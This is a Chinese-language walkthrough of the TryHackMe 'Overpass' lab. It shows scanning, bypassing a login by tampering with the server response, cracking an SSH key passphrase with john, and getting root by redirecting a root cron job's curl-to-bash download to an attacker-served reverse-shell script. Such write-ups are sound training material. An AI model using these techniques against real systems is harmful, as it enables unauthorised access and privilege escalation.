Overpass – TryHackMe
一、信息收集
- 先使用nmap对靶场的端口进行探测
nmap -sV -A 10.10.97.56
- 这里开放了22端口和80端口看看网站上面看了一下没有什么用信息
- 这里使用dirsearch再对网站进行目录扫描一下
python3 dirsearch.py -u http://10.10.97.56 -e php,html,txt -t 50 -x 403,401 -o result.txt
- 在这下面发现了还有一个admin目录尝试使用弱口令没有用
二、漏洞利用
- 翻阅一下这个网站的js,在前端
login.js
里,登录时服务端返回的内容会被直接存到 Cookie:
Cookies.set("SessionToken", statusOrCookie)
如果返回 "Incorrect credentials"
,就说明密码错误。
但只要返回的不是 "Incorrect credentials"
,这个值就会被保存成 SessionToken。
而前端并不会再去校验这个 Cookie 值是否真实存在于服务器。
- 我们使用yakit对这个进行抓包,一定要启动响应劫持否则无法修改返回包
Incorrect credentials
删除,然后提交数据
- 成功登录admin页面,里面写了一个James的ssh key
三、内网渗透
- 将ssh key写入到文件里面
- 使用命令尝试登录
ssh james@10.10.97.56 -i id_rsa
- 这里私钥是加密的,所以还需要先解密,这里使用ssh2john把 SSH 私钥文件(id_rsa)转换成 john 能识别的 hash 格式,因为
id_rsa
是加密的(有 passphrase 密码),john 不能直接用,所以必须先用ssh2john
转换
ssh2john id_rsa > id_rsa.hash
- 用
john
来跑字典破解:
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
如果这里rockyou.txt文件显示为rockyou.txt.gz使用命令解压一下就好了
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
- 使用rockyou字典对文件进行爆破
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
- 得到ssh密码为james13,对文件进行登录
Permissions 0664 for 'id_rsa' are too open.
This private key will be ignored.
# 如果报错那么使用命令
chmod 600 id_rsa
# 解决
- 查看当前目录下文件拿到user.txt
四、提权
- 查看todo.txt文件,这里有提到脚本看看有没有定时任务
- cat /etc/crontab查看一下任务意思是 每分钟 root 都会去 overpass.thm 上下载一个脚本,并直接用
bash
执行,这里我们可以尝试去修改/etc/hosts
静态解析将该我们我们恶意的ip地址下发恶意脚本,进而获得 root 权限
overpass.thm
指向 127.0.0.1,它会去 本机请求/downloads/src/buildscript.sh
并以 root 执行,我们将127.0.0.1修改为我们kali的IP地址然后找一个 root 能够访问且你有写权限的路径在这个路径里创建downloads/src/buildscript.sh
,这样当cron计划任务执行的时候就会执行buildscript.sh文件里面的内容
- 我在Downloads下面创建了一个downloads里面是cron要执行的路径地址
- 我这里修改了buildsript.sh文件内容,写入了反弹命令
- 在~/Downloads目录下启动命令
python3 -m http.server 80
开启http服务
- 然后启动另外一个终端开启监听模式
- 回到靶机上面下载文件
curl overpass.thm/downloads/src/buildscript.sh
- 每一分钟,cron 会尝试去你的 Kali HTTP 服务下载并执行
buildscript.sh
过一会儿kali就监听到了
拿到root.txt文件